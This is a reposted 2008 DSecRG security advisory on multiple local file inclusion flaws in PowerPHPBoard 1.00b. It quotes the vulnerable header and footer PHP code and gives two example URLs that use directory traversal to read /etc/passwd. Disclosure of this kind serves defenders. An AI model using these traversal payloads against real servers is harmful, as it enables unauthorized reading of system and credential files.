Multiple LFI in PowerPHPBoard 1.00b

2008.03.29
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-98


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[DSECRG-08-021] Digital Security Research Group [DSecRG] Advisory Application: PowerPHPBoard Versions Affected: 1.00b Vendor URL: http://www.powerscripts.org/ Bug: Multiple Local File Include Exploits: YES Reported: 01.02.2008 Vendor Response: none Solution: none Date of Public Advisory: 24.03.2008 Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** PowerPHPBoard has Multiple Local File Include vulnerabilities. 1. Local File Include vulnerability found in script footer.inc.php To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file. Code **** ################################################# if ($settings[footer]) { if (file_exists("inc/$settings[footer]")) { include("inc/$settings[footer]"); } else { echo "<center>$lang_footerdoesntexists</center>"; } } else { include("inc/footer.ppb"); } ################################################# Example: http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../.. /../../../../../../../../../etc/passwd --------------------------------------------------------------------- 2. Local File Include vulnerability found in script footer.inc.php To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file. Code **** ################################################# if (!$handler) { if ($handler = @mysql_pconnect($mysql[server], $mysql[user], $mysql[password])) { ... } } ... $query = "SELECT * FROM ppb_config WHERE id='1'"; $result = mysql_query($query,$handler); $num = mysql_num_rows($result); if ($num != 0) { list($settings[id], $settings[boardtitle], $settings[boardurl], $settings[adminemail], $settings[header], $settings[footer], $settings[bordercolor], $settings[tablebg1], $settings[tablebg2], $settings[tablebg3], $settings[htmlcode], $settings[bbcode], $settings[smilies], $settings[newthread], $settings[newpost], $settings[language]) = mysql_fetch_array($result); } ... if ($settings[header]) { if (file_exists("inc/$settings[header]")) { include("inc/$settings[header]"); } else { echo "<center>$lang_headerfiledoesntexists</center>"; } } else { include("inc/header.ppb"); } ################################################# Example: http://[server]/[installdir]/header.inc.php?handler=1234&settings[header ]=../../../../../../../../../../../../../etc/passwd About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian) -- Alexandr Polyakov DIGITAL SECURITY RESEARCH GROUP mailto:research (at) dsec (dot) ru [email concealed]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top